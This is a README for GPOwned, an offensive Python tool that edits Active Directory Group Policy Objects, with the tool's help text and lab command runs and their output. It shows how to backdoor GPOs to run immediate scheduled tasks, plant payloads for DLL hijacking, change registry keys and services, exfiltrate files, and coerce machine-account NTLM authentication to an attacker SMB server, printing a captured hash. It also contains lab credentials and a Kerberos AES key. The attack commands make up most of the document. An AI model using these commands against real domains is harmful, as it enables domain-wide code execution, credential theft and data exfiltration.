# GPOwned

**/!\\ This is a buggy PoC I made just to play with GPOs in my lab. Be careful! You probably need to edit the code! /!\\**

The script uses `impacket` and `ldap3` to update the GPOs. It implements enough primitives that can be combined (just need to perform minor changes in the code) to achieve different ways of code execution (DLL hijacking, COM junctions, shortcut poisoning, etc.)

# Usage

```
python3 GPOwned.py --help
		GPO Helper - @TheXC3LL
		Modifications by - @Fabrizzio53


usage: GPOwned.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN]
                  [-hashes [LMHASH]:NTHASH] [-dc-ip ip address / hostname]
                  [-aesKey hex key] [-use-ldaps] [-no-pass] [-k] [-listgpo]
                  [-listsite] [-listou] [-listdomain]
                  [-displayname display name] [-listgplink] [-linkgpotoou]
                  [-linkgpotosite] [-linkgpotodomain] [-removelinkou]
                  [-removelinkdomain] [-removelinksite] [-creategpo]
                  [-deletegpo] [-comment COMMENT] [-ou GPO name]
                  [-name GPO name] [-ouname ouname] [-sitename sitename]
                  [-gpcuser] [-gpcmachine] [-backup Backup location]
                  [-gpocopyfile] [-gpomkdir] [-gporegcreate] [-gposervice]
                  [-gpoexfilfiles] [-gpoimmtask]
                  [-gpoimmuser User for ImmTask] [-srcpath Source file]
                  [-dstpath Destination path] [-hive Registry Hive]
                  [-type Type] [-key Registry key] [-subkey Registry subkey]
                  [-default] [-value Registry value] [-service Target service]
                  [-action Service action] [-author Task Author]
                  [-taskname Task Name] [-taskdescription Task description]
                  [-taskargs Task arguments]
                  [-gpoupdatever] [-usercontext]

GPO Helper - @TheXC3LL

options:
  -h, --help            show this help message and exit
  -use-ldaps            Use LDAPS instead of LDAP
  -no-pass              tell the script to not use password, good with -k

authentication & connection:
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless
                        -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid domain name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -dc-ip ip address / hostname
                        IP Address of the domain controller or the fqdn use
                        when -k
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256
                        bits)
  -k                    Tell the script to use kerberos auth

enumeration:
  -listgpo              Retrieve GPOs info using LDAP
  -listsite             Retrieve SITE info using LDAP
  -listou               Retrieve OU info using LDAP
  -listdomain           Retrieve info from the domain object, such as the
                        gPLink one
  -displayname display name
                        Filter using the given displayName [only with
                        -listgpo]
  -listgplink           Retrieve the objects the GPO is linked to

Creation / Deletion / Linking:
  -linkgpotoou          Tell the script to link a gpo to a OU, the OU needs to
                        be passed at -ouname and a gpo with -name
  -linkgpotosite        Tell the script to link a gpo to a SITE, the SITE
                        needs to be passed at -sitename and a gpo with -name
  -linkgpotodomain      Tell the script to link a gpo to a DOMAIN, the DOMAIN
                        needs to be passed at -d and a gpo with -name
  -removelinkou         tell the script to remove a gpo link from a OU, needs
                        to be passed at -ouname and a gpo with -name
  -removelinkdomain     tell the script to remove a gpo link from a DOMAIN,
                        needs to be passed at -d and a gpo with -name
  -removelinksite       tell the script to remove a gpo link from a SITE,
                        needs to be passed at -sitename and a gpo with -name
  -creategpo            tell the script to create a gpo
  -deletegpo            tell the script to remove a gpo
  -comment COMMENT      Tell the script to add a GPO.cmt with a text to the
                        new created gpo.

General parameters that can be passed to multiple commands:
  -ou GPO name          Filter using the ou [only with -listgplinks]
  -name GPO name        Filter using the GPO name ({Hex}) or gpo name to
                        add,delete when using -creategpo / -deletegpo
  -ouname ouname        Tell the script what OU to link the gpo
  -sitename sitename    Tell the script what SITE to link the gpo
  -gpcuser              GPO is related to users
  -gpcmachine           GPO is related to machines

backup:
  -backup Backup location
                        Location of backup folder

exploitation:
  -gpocopyfile          Edit the target GPO to copy a file to the target
                        location
  -gpomkdir             Edit the target GPO to create a new folder
  -gporegcreate         Edit the target GPO to create a registry key/subkey
  -gposervice           Edit the target GPO to start/stop/restart a service
  -gpoexfilfiles        Edit the target GPO to exfil a file (* to all) to the
                        target location
  -gpoimmtask           Edit the target GPO to add a Immediate Task
  -gpoimmuser User for ImmTask
                        User to run the immediate task
  -srcpath Source file  Local file path
  -dstpath Destination path
                        Destination path
  -hive Registry Hive   Registry Hive
  -type Type            Type of value
  -key Registry key     Registry key
  -subkey Registry subkey
                        Registry subkey
  -default              Sets new value es default
  -value Registry value
                        Registry value
  -service Target service
                        Target service to be started/stopped/restarted
  -action Service action
                        Posible values: start, stop & restart
  -author Task Author   Author for Scheduled Task
  -taskname Task Name   Name for the Scheduled Task
  -taskdescription Task description
                        Description for the scheduled task
  -taskargs Task arguments
                        Arguments passed to the scheduled task's command
  -gpoupdatever         Update GPO version (GPT.INI file and LDAP object)
  -usercontext          Execute the GPO in the context of the user

```

# Examples

## List GPOs
```
syconauta@insulanova:~/Research/GPOwned|⇒  python3 GPOwned.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -dc-ip 192.168.56.10 -gpcmachine -listgpo
		GPO Helper - @TheXC3LL


[*] Connecting to LDAP service at 192.168.56.10
[*] Requesting GPOs info from LDAP

[+] Name: {31B2F340-016D-11D2-945F-00C04FB984F9}
	[-] displayName: Default Domain Policy
	[-] gPCFileSysPath: \\sevenkingdoms.local\sysvol\sevenkingdoms.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
	[-] gPCMachineExtensionNames: [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
	[-] versionNumber: 3
	[-] Verbose: 
		---		---
		Security
		Computer Restricted Groups

[+] Name: {6AC1786C-016F-11D2-945F-00C04fB984F9}
	[-] displayName: Default Domain Controllers Policy
	[-] gPCFileSysPath: \\sevenkingdoms.local\sysvol\sevenkingdoms.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
	[-] gPCMachineExtensionNames: [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
	[-] versionNumber: 1
	[-] Verbose: 
		---		---
		Security
		Computer Restricted Groups

[^] Have a nice day!

```

## Backup
If you are going to backdoor a GPO, it's good to save a backup so you can perform a rollback :P

```
psyconauta@insulanova:~/Research/GPOwned|⇒  python3 GPOwned.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -dc-ip 192.168.56.10 -gpcmachine -backup /tmp/test01 -name "{31B2F340-016D-11D2-945F-00C04FB984F9}"
		GPO Helper - @TheXC3LL


[*] Creating backup folder
[*] Connecting to LDAP service at 192.168.56.10
[*] Requesting GPOs info from LDAP
[*] Saving gPCMachineExtensionNames values as gPCMachineExtensionNames.txt
[*] Connecting to SMB service at 192.168.56.10
[*] Enumerating files at \SysVol\sevenkingdoms.local\policies\{31b2f340-016d-11d2-945f-00c04fb984f9}
[*] Downloading \Sysvol\sevenkingdoms.local\policies\{31b2f340-016d-11d2-945f-00c04fb984f9}/GPT.INI
[*] Enumerating files at \SysVol\sevenkingdoms.local\policies\{31b2f340-016d-11d2-945f-00c04fb984f9}/MACHINE
[*] Enumerating files at \SysVol\sevenkingdoms.local\policies\{31b2f340-016d-11d2-945f-00c04fb984f9}/MACHINE/Microsoft
[*] Enumerating files at \SysVol\sevenkingdoms.local\policies\{31b2f340-016d-11d2-945f-00c04fb984f9}/MACHINE/Microsoft/Windows NT
[*] Enumerating files at \SysVol\sevenkingdoms.local\policies\{31b2f340-016d-11d2-945f-00c04fb984f9}/MACHINE/Microsoft/Windows NT/SecEdit
[*] Downloading \Sysvol\sevenkingdoms.local\policies\{31b2f340-016d-11d2-945f-00c04fb984f9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
[*] Enumerating files at \SysVol\sevenkingdoms.local\policies\{31b2f340-016d-11d2-945f-00c04fb984f9}/USER

[^] Have a nice day!
psyconauta@insulanova:~/Research/GPOwned|⇒  tree /tmp/test01                                                                                                                                                                      
/tmp/test01
├── gPCMachineExtensionNames.txt
├── GPT.INI
├── MACHINE
│   └── Microsoft
│       └── Windows NT
│           └── SecEdit
│               └── GptTmpl.inf
└── USER

5 directories, 3 files
```

## Update GPO version
Helper for rollback
```
psyconauta@insulanova:~/Research/GPOwned|⇒  python3 GPOwned.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -dc-ip 192.168.56.10 -gpcmachine -gpoupdatever -name "{31B2F340-016D-11D2-945F-00C04FB984F9}"      
		GPO Helper - @TheXC3LL


[*] Connecting to LDAP service at 192.168.56.10
[*] Requesting {31B2F340-016D-11D2-945F-00C04FB984F9} version and location from LDAP
[*] Updating from version [3] to [4]
[*] Connecting to SMB service at 192.168.56.10
[*] Reading \sevenkingdoms.local\policies\{31b2f340-016d-11d2-945f-00c04fb984f9}\gpt.ini 
[*] Writing \sevenkingdoms.local\policies\{31b2f340-016d-11d2-945f-00c04fb984f9}\gpt.ini
[+] Version updated succesfully!

[^] Have a nice day!

```
## Immediate Tasks
Probably the most exploited way to obtain code execution is via Immediate Task, so here we can do the same:

```
python3 GPOwned.py -u avispa.marina -p Password.1234 -d zoo.local -dc-ip 10.0.2.15 -gpcmachine -gpoimmtask -name '{1A5FC7E3-ACBA-4CB3-96B2-2F6568127784}' -author 'ZOO\Administrador' -taskname 'Beautiful IOC' -taskdescription 'Hello World' -dstpath 'c:\windows\system32
otepad.exe'
		GPO Helper - @TheXC3LL


[*] Connecting to LDAP service at 10.0.2.15
[*] Requesting GPOs info from LDAP
[*] Connecting to SMB service at 10.0.2.15
[*] Reading \ZOO.LOCAL\Policies\{1A5FC7E3-ACBA-4CB3-96B2-2F6568127784}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml 
[*] Writing \ZOO.LOCAL\Policies\{1A5FC7E3-ACBA-4CB3-96B2-2F6568127784}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[*] Updating gPCMachineExtensionNames
[*] Requesting {1A5FC7E3-ACBA-4CB3-96B2-2F6568127784} version and location from LDAP
[*] Updating from version [114] to [115]
[*] Reading \ZOO.LOCAL\Policies\{1A5FC7E3-ACBA-4CB3-96B2-2F6568127784}\GPT.INI 
[*] Writing \ZOO.LOCAL\Policies\{1A5FC7E3-ACBA-4CB3-96B2-2F6568127784}\GPT.INI
[+] Version updated succesfully!

[^] Have a nice day!
```

You can use `smbclient`to upload your .exe/.bat/whatever to SysVol or just edit the script to move your local payload to the target machine using the `GPOCopyFile()`

## Copy Files
You can copy a local file to SysVol and use the GPO to copy from there to a interesting location in the target machine. This can be useful to drop your payloads there, or to peform a DLL hijack directly for example. You can edit the code to combine this with other primitives.

```
python3 GPOwned.py -u avispa.marina -p Password.1234 -d zoo.local -dc-ip 10.0.2.15 -gpocopyfile -name '{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}' -srcpath /tmp/alive.txt -dstpath '%SystemDir%\other_file_again.pwned'
		GPO Helper - @TheXC3LL


[*] Connecting to LDAP service at 10.0.2.15
[*] Requesting GPOs info from LDAP
[*] Connecting to SMB service at 10.0.2.15
[*] Uploading /tmp/alive.txt to \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\Machine\other_file_again.pwned
[*] Reading \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\Machine\Preferences\Files\Files.xml 
[*] Writing \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\Machine\Preferences\Files\Files.xml
[*] Updating gPCMachineExtensionNames
[*] Requesting {1B5C9CCF-CDE7-4D57-891F-EAE1F804669A} version and location from LDAP
[*] Updating from version [32] to [33]
[*] Reading \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\GPT.INI 
[*] Writing \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\GPT.INI
[+] Version updated succesfully!

[^] Have a nice day!
```


Also it can be used to coerce auth:

```
python3 GPOwned.py -u avispa.marina -p Password.1234 -d zoo.local -dc-ip 10.0.2.15 -gpcmachine -gpocopyfile -name '{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}' -srcpath '\10.0.2.6\pwned' -dstpath '%SystemDir%\other_file_again.pwned'
		GPO Helper - @TheXC3LL


[*] Connecting to LDAP service at 10.0.2.15
[*] Requesting GPOs info from LDAP
[*] Connecting to SMB service at 10.0.2.15
[*] Reading \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\Machine\Preferences\Files\Files.xml 
[*] Writing \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\Machine\Preferences\Files\Files.xml
[*] Updating gPCMachineExtensionNames
[*] Requesting {1B5C9CCF-CDE7-4D57-891F-EAE1F804669A} version and location from LDAP
[*] Updating from version [38] to [39]
[*] Reading \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\GPT.INI 
[*] Writing \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\GPT.INI
[+] Version updated succesfully!

[^] Have a nice day!

(...)

➜  ~ sudo python3 /usr/local/bin/smbserver.py test /tmp -smb2support -debug
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.6/dist-packages/impacket
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.0.2.7,51009)
[*] AUTHENTICATE_MESSAGE (ZOO\PACIFICO$,PACIFICO)
[*] User PACIFICO\PACIFICO$ authenticated successfully
[*]
PACIFICO$::ZOO:4141414141414141:dffe816765d06820d72b7a34a7e4def8:01010000000000000023f9c0d5cdd70193c7053ce980ad7700000000010010007900630064004c006100710061004500030010007900630064004c0061007100610045000200100079004e0058006e0051004900460079000400100079004e0058006e005100490046007900070008000023f9c0d5cdd70106000400020000000800300030000000000000000000000000400000538a61082d471fdb0486a7fa0a3cccbc55809bfdaf1fa4b4151b472dd549141c0a0010000000000000000000000000000000000009001a0063006900660073002f00310030002e0030002e0032002e0036000000000000000000
[*] Handle: 'ConnectionResetError' object is not subscriptable
[*] Closing down connection (10.0.2.7,51009)
[*] Remaining connections []
```

## Create Folders

The same than file creation this can be combined with other primitives editing the script

```
python3 GPOwned.py -u avispa.marina -p Password.1234 -d zoo.local -dc-ip 10.0.2.15 -gpcmachine -gpomkdir -name '{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}' -dstpath '%SystemDir%\Adepts_of_0xcc'
		GPO Helper - @TheXC3LL


[*] Connecting to LDAP service at 10.0.2.15
[*] Requesting GPOs info from LDAP
[*] Connecting to SMB service at 10.0.2.15
[*] Reading \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\Machine\Preferences\Folders\Folders.xml 
[*] Writing \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\Machine\Preferences\Folders\Folders.xml
[*] Updating gPCMachineExtensionNames
[*] Requesting {1B5C9CCF-CDE7-4D57-891F-EAE1F804669A} version and location from LDAP
[*] Updating from version [39] to [40]
[*] Reading \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\GPT.INI 
[*] Writing \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\GPT.INI
[+] Version updated succesfully!

[^] Have a nice day!
```

## Create registry key

The script can be edited to update/delete keys instead of creating a new one
```
python3 GPOwned.py -u avispa.marina -p Password.1234 -d zoo.local -dc-ip 10.0.2.15 -gpcmachine -gporegcreate -name '{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}' -hive HKEY_LOCAL_MACHINE -key 'SOFTWARE\Microsoftlabla'  -type REG_SZ -value 'whatever'
		GPO Helper - @TheXC3LL


[*] Connecting to LDAP service at 10.0.2.15
[*] Requesting GPOs info from LDAP
[*] Connecting to SMB service at 10.0.2.15
[*] Reading \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\Machine\Preferences\Registry\Registry.xml 
[*] Writing \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\Machine\Preferences\Registry\Registry.xml
[*] Updating gPCMachineExtensionNames
[*] Requesting {1B5C9CCF-CDE7-4D57-891F-EAE1F804669A} version and location from LDAP
[*] Updating from version [40] to [41]
[*] Reading \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\GPT.INI 
[*] Writing \ZOO.LOCAL\Policies\{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}\GPT.INI
[+] Version updated succesfully!

[^] Have a nice day!
```

## Start/Stop/Restart services

```
python3 GPOwned.py -u avispa.marina -p Password.1234 -d zoo.local -dc-ip 10.0.2.15 -gpcmachine -gposervice -name '{1A5FC7E3-ACBA-4CB3-96B2-2F6568127784}' -service Netman -action restart
		GPO Helper - @TheXC3LL


[*] Connecting to LDAP service at 10.0.2.15
[*] Requesting GPOs info from LDAP
[*] Connecting to SMB service at 10.0.2.15
[*] Reading \ZOO.LOCAL\Policies\{1A5FC7E3-ACBA-4CB3-96B2-2F6568127784}\Machine\Preferences\Services\Services.xml 
[*] Writing \ZOO.LOCAL\Policies\{1A5FC7E3-ACBA-4CB3-96B2-2F6568127784}\Machine\Preferences\Services\Services.xml
[*] Updating gPCMachineExtensionNames
[*] Requesting {1A5FC7E3-ACBA-4CB3-96B2-2F6568127784} version and location from LDAP
[*] Updating from version [115] to [116]
[*] Reading \ZOO.LOCAL\Policies\{1A5FC7E3-ACBA-4CB3-96B2-2F6568127784}\GPT.INI 
[*] Writing \ZOO.LOCAL\Policies\{1A5FC7E3-ACBA-4CB3-96B2-2F6568127784}\GPT.INI
[+] Version updated succesfully!

[^] Have a nice day!
```

## Exfiltrate files
Copy remote files to a known location (a network share, for example). It admits wildcards (*) but no recursion.

```
psyconauta@insulanova:~/Research/GPOwned|⇒  python3 GPOwned.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -dc-ip 192.168.56.10 -gpcmachine -gpoexfilfile -name '{949B21C5-9257-4E0E-8090-D8F8CD1DA4AA}'  -srcpath 'c:\boot.ini' -dstpath '%SystemDir%\other_file_again.pwned'                                                                                                                  
		GPO Helper - @TheXC3LL


[*] Connecting to LDAP service at 192.168.56.10
[*] Requesting GPOs info from LDAP
[*] Connecting to SMB service at 192.168.56.10
[*] Writing \sevenkingdoms.local\policies\{949b21c5-9257-4e0e-8090-d8f8cd1da4aa}\Machine\Preferences\Files\Files.xml
[*] Updating gPCMachineExtensionNames
[*] Requesting {949B21C5-9257-4E0E-8090-D8F8CD1DA4AA} version and location from LDAP
[*] Updating from version [11] to [12]
[*] Reading \sevenkingdoms.local\policies\{949b21c5-9257-4e0e-8090-d8f8cd1da4aa}\gpt.ini 
[*] Writing \sevenkingdoms.local\policies\{949b21c5-9257-4e0e-8090-d8f8cd1da4aa}\gpt.ini
[+] Version updated succesfully!

[^] Have a nice day!
```

## Create GPO
Create a new GPO with or without a comment, -comment is not mandatory

```
proxychains4 -q python3 GPOwned.py -u gabriel -p Godisgood001 -d inlanefreight.local -dc-ip 172.16.92.10 -gpcmachine -creategpo -name gpoowned -comment "This is a test comment"
                GPO Helper - @TheXC3LL
                Modifications by - @Fabrizzio53


[*] Connecting to LDAP service at 172.16.92.10
[+] Checking if the GPO with name gpoowned alreay exist.
[*] Connecting to SMB service at 172.16.92.10
[+] Checking if folder with guid {18B80436-628D-40E9-9204-66463A6F285E} exist
[+] Creating necessary gpo files and folders
[+] GPO created
```

## Linking a GPO
After creating a GPO you can link in 3 ways, at a OU with -linkgpotoou, SITE with -linkgpoutosite or DOMAIN object with -linkgpotodomain
```
proxychains4 -q python3 GPOwned.py -u gabriel -p Godisgood001 -d inlanefreight.local -dc-ip 172.16.92.10 -gpcmachine -linkgpotoou -name gpoowned -ouname Servers
                GPO Helper - @TheXC3LL
                Modifications by - @Fabrizzio53


[*] Connecting to LDAP service at 172.16.92.10
[+] Checking if GPO gpoowned exists
[+] GPO with hex {18B80436-628D-40E9-9204-66463A6F285E} found
[+] OU dn is OU=Servers,DC=inlanefreight,DC=local
[+] OU old gPLink is [LDAP://cn={8F3E10E7-E9FC-43C7-A58F-3ECFFBF69756},cn=policies,cn=system,DC=inlanefreight,DC=local;1]
[+] New gPLink is [LDAP://cn={18B80436-628D-40E9-9204-66463A6F285E},cn=policies,cn=system,DC=inlanefreight,DC=local;0][LDAP://cn={8F3E10E7-E9FC-43C7-A58F-3ECFFBF69756},cn=policies,cn=system,DC=inlanefreight,DC=local;1]
[+] GPO linked successfully
```
## Removing a GPO Link
If you want you can remove a link from a gpo from a OU with -removelinkou, SITE with -removelinksite or DOMAIN object with -removelinkdomain
```
proxychains4 -q python3 GPOwned.py -u gabriel -aesKey 0A7FF58D7CB12557E46351FCABE4EF83BBC74953CCDBA71699E5833FECE83361 -d inlanefreight.local -dc-ip 172.16.92.10 -gpcmachine -removelinkou -name gpoowned -ouname Servers
                GPO Helper - @TheXC3LL
                Modifications by - @Fabrizzio53


[*] Connecting to LDAP service at 172.16.92.10
[+] Checking if GPO gpoowned exists
[+] GPO with hex {18B80436-628D-40E9-9204-66463A6F285E} found
[+] OU dn is OU=Servers,DC=inlanefreight,DC=local
[+] OU old gPLink is [LDAP://cn={18B80436-628D-40E9-9204-66463A6F285E},cn=policies,cn=system,DC=inlanefreight,DC=local;0][LDAP://cn={8F3E10E7-E9FC-43C7-A58F-3ECFFBF69756},cn=policies,cn=system,DC=inlanefreight,DC=local;1]
[+] New gPLink is [LDAP://cn={8F3E10E7-E9FC-43C7-A58F-3ECFFBF69756},cn=policies,cn=system,DC=inlanefreight,DC=local;1]
[+] Removed old gpo link
```

# Known Bugs

## Ldaps

-use-ldaps have some bugs with ssl error EOF, no ideia if is a problem with the domain of in the code
